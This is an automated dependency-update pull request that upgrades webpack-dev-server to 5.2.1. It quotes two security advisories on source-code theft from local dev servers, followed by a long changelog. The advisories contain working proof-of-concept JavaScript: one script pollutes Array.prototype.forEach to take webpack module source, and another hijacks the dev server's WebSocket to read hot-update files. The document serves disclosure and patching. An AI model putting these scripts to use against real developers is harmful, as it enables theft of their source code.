ant-design-vue
ant-design-vue copied to clipboard
chore(deps): update dependency webpack-dev-server to v5 [security]
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| webpack-dev-server | ^4.0.0 -> ^5.2.1 |
GitHub Vulnerability Alerts
CVE-2025-30359
Summary
Source code may be stolen when you access a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ - You can see the source code output in the document and the devtools console.
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
Old content
Summary
Source code may be stolen when you use output.iife: false and access a malicious web site.
Details
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/ - Open the devtools console.
- You can see the content of
src/index.jsand other scripts loaded.
The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
Impact
This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.
CVE-2025-30360
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
http://{ipaddress}/?target=http://localhost:8080&file=mainwith a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.jsin the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
Release Notes
webpack/webpack-dev-server (webpack-dev-server)
v5.2.1
Security
- cross-origin requests are not allowed unless allowed by
Access-Control-Allow-Originheader - requests with an IP addresses in the
Originheader are not allowed to connect to WebSocket server unless configured byallowedHostsor it different from theHostheader
The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.
Bug Fixes
- prevent overlay for errors caught by React error boundaries (#β5431) (8c1abc9)
- take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#β5411) (ffd0b86)
v5.2.0
Features
- added
getClientEntryandgetClientHotEntrymethods to get clients entries (dc642a8)
Bug Fixes
- speed up initial client bundling (145b5d0)
v5.1.0
Features
- add visual progress indicators (a8f40b7)
- added the
appoption to beFunction(by default only withconnectcompatibility frameworks) (3096148) - allow the
serveroption to beFunction(#β5275) (02a1c6d) - http2 support for
connectandconnectcompatibility frameworks which support HTTP2 (#β5267) (6509a3f)
Bug Fixes
- check the
platformproperty to determinate the target (#β5269) (c3b532c) - ipv6 output (#β5270) (06005e7)
- replace
rimrafwithrm(#β5162) (1a1561f) - replace default gateway (#β5255) (f5f0902)
- support
devServer: false(#β5272) (8b341cb)
5.0.4 (2024-03-19)
Bug Fixes
5.0.3 (2024-03-12)
Bug Fixes
5.0.2 (2024-02-16)
Bug Fixes
5.0.1 (2024-02-13)
Bug Fixes
- avoid using eval in client (#β5045) (7681477)
- overlay and
require-trusted-types-for(#β5046) (e115436)
v5.0.4
v5.0.3
v5.0.2
v5.0.1
v5.0.0
4.15.1 (2023-06-09)
Bug Fixes
- replace
::withlocalhostbefore openBrowser() (#β4856) (874c44b) - types: compatibility with
@types/ws(#β4899) (34bcec2)
v4.15.2
4.15.2 (2024-03-20)
Bug Fixes
- security: bump webpack-dev-middleware (4116209)
v4.15.1
v4.15.0
Features
v4.14.0
Features
- allow CLI to be ESM (#β4837) (bb4a5d9)
- allow filter overlay errors/warnings with function (#β4813) (aab01b3)
4.13.3 (2023-04-15)
Bug Fixes
4.13.2 (2023-03-31)
Bug Fixes
- prevent open 0.0.0.0 in browser due windows problems (04e74f2)
4.13.1 (2023-03-18)
Bug Fixes
v4.13.3
v4.13.2
v4.13.1
v4.13.0
Features
v4.12.0
Features
- allow to set the
sockjs_urloption (onlysockjs) using thewebSocketServer.options.sockjsUrloption (#β4586) (69a2fba) - catch runtime error (#β4605) (87a26cf)
- improve styles for overlay (#β4576) (791fb85)
- open editor when clicking error on overlay (#β4587) (efb2cec)
Bug Fixes
- compatibility with
experiments.buildHttp(#β4585) (5b846cb) - respect
NODE_PATHenv variable (#β4581) (b857e6f)
4.11.1 (2022-09-19)
Bug Fixes
v4.11.1
v4.11.0
Features
Bug Fixes
4.10.1 (2022-08-29)
Bug Fixes
v4.10.1
v4.10.0
Features
Bug Fixes
4.9.3 (2022-06-29)
Bug Fixes
- avoid creation unnecessary stream for static sockjs file (#β4482) (049b153)
- history-api-fallback now supports HEAD requests and handles them the same as GET (8936082)
4.9.2 (2022-06-06)
Bug Fixes
4.9.1 (2022-05-31)
Bug Fixes
v4.9.3
v4.9.2
v4.9.1
v4.9.0
Features
Bug Fixes
- ie11 runtime (#β4403) (256d5fb)
- replace portfinder with custom implementation and fix security problem (#β4384) (eea50f3)
- use the host in options to check if port is available (#β4385) (a10c7cf)
4.8.1 (2022-04-06)
Bug Fixes
v4.8.1
v4.8.0
Features
Bug Fixes
- update description for
--no-client-reconnect(#β4248) (317648d) - update description for
--no-client(#β4250) (c3b6690) - update description for
--no-history-api-fallback(#β4277) (d63a0a2) - update negated descriptions for more options (#β4287) (c64bd94)
- update schema to have
negatedDescriptiononly for typeboolean(#β4280) (fcf8e8e)
4.7.4 (2022-02-02)
Bug Fixes
- add @βtypes/express (#β4226) (e55f728)
- negative descriptions (#β4216) (fd854c0)
- types for the
proxyoption (#β4173) (efec2f5) - use CLI specific description for
--open-app-nameand--web-socket-server(#β4215) (329679a)
4.7.3 (2022-01-11)
Security
- update
selfsignedto2.0.0version
4.7.2 (2021-12-29)
Bug Fixes
- apply
onAfterSetupMiddlewareaftersetupMiddlewares(as behavior earlier) (f6bc644)
4.7.1 (2021-12-22)
Bug Fixes
v4.7.4
v4.7.3
v4.7.2
v4.7.1
v4.7.0
Features
- added the
setupMiddlewaresoption and deprecatedonAfterSetupMiddlewareandonBeforeSetupMiddlewareoptions (#β4068) (c13aa56) - added types (8f02c3f)
- show deprecation warning for
cacertoption (#β4115) (c73ddfb)
Bug Fixes
- add description for
watchFilesoptions (#β4057) (75f3817) - allow passing options for custom server (#β4110) (fc8bed9)
- correct schema for
ClientLogging(#β4084) (9b7ae7b) - mark
--open-appdeprecated in favor of--open-app-name(#β4091) (693c28a) - show deprecation warning for both
httpsandhttp2(#β4069) (d8d5d71) - update
--web-socket-serverdescription (#β4098) (65955e9) - update
listenandclosedeprecation warning message (#β4097) (b217a19) - update descriptions of
httpsandserveroptions (#β4094) (f97c9e2)
v4.6.0
Features
Bug Fixes
v4.5.0
Features
- add
--web-socket-server-typeoption for CLI (#β4001) (17c390a) - show deprecation warning for
https/http2option, migration guide forhttpsand migration guide forhttp2(because we usespdyfor http2 dueexpressdoesn't support http2) (#β4003) (521cf85)
Bug Fixes
- infinity refresh on warnings (#β4006) (10da223)
- invalid host message is missing on client with https (#β3997) (#β3998) (ff0869c)
- remove process listeners after stopping the server (#β4013) (d198e4e)
v4.4.0
Features
- added the
serveroption, now you can pass server options, example{ server: { type: 'http', options: { maxHeaderSize: 32768 } } }, available options forhttpandhttps, note - forhttp2is usedspdy, options specified in theserver.optionsoption take precedence overhttps/http2options (#β3940) (a70a7ef) - added the
client.reconnectoption (#β3912) (5edad76) - improve error handling within
startCallbackandendCallback(#β3969) (b0928ac)
Bug Fixes
- schema for web socket server type (#β3913) (f6aa6f7)
- typo in SSL information log (#β3939) (4c6103b)
4.3.1 (2021-10-04)
Bug Fixes
v4.3.1
v4.3.0
Features
- allow array for
headersoption (#β3847) (9911437) - gracefully and force shutdown (#β3880) (db24b16)
Bug Fixes
- avoid web socket connection when web socket server is not running (#β3879) (8874d72)
- display file name for warnings/errors in overlay (#β3867) (d20def5)
- formatting errors/warnings (#β3877) (f0dbea0)
- handle 0 value of the
portoption property (ed67f66)
4.2.1 (2021-09-13)
Bug Fixes
- infinity loop for multi compiler mode (#β3840) (e019bd2)
- reloading logic for multi compiler mode (#β3841) (ef148ec)
4.2.0 (2021-09-09)
Features
- added the
http.caoption (CLI option added too) (should be used insteadcacert, because we will remove it in the next major release in favor thehttps.caoption) - added the
https.crloption (CLI options added too), more information https.ca/https.cacert/https.cert/https.crl/https.key/https.pfxoptions are now accept Arrays ofBuffer/string/Path to file, using--https-*-resetCLI options you can reset these optionshttps.pfx/https.keycan beObject[], more informationhttpsoptions can now accept custom options, you can use:
module.exports = {
// Other options
devServer: {
https: {
// Allow to set additional TSL options https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options
minVersion: "TLSv1.1",
ca: path.join(httpsCertificateDirectory, "ca.pem"),
pfx: path.join(httpsCertificateDirectory, "server.pfx"),
key: path.join(httpsCertificateDirectory, "server.key"),
cert: path.join(httpsCertificateDirectory, "server.crt"),
passphrase: "webpack-dev-server",
},
}
};
Bug Fixes
- accept connections with
file:andchrome-extensions:protocol by default (#β3822) (138f064) - close overlay on disconnection (#β3825) (011bcf1)
- respect
https.cacertoption (#β3820) (0002ebf)
4.1.1 (2021-09-07)
Bug Fixes
- improve the description of the
magicHtmloption (#β3772) (b80610f) - replace
ansi-htmlwithansi-html-communityto avoid CVE (#β3801) (36fd214)
v4.2.1
v4.2.0
v4.1.1
v4.1.0
Features
- added the
magicHtmloption (#β3717) (4831f58) - allow to set
hotandlive-reloadfor client using search params (1c57680) - show warning when the
hotoption is enabled with the HMR plugin in config (#β3744) (6cb1e4e)
Bug Fixes
Configuration
π Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
π¦ Automerge: Disabled by config. Please merge this manually once you are satisfied.
β» Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
π Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.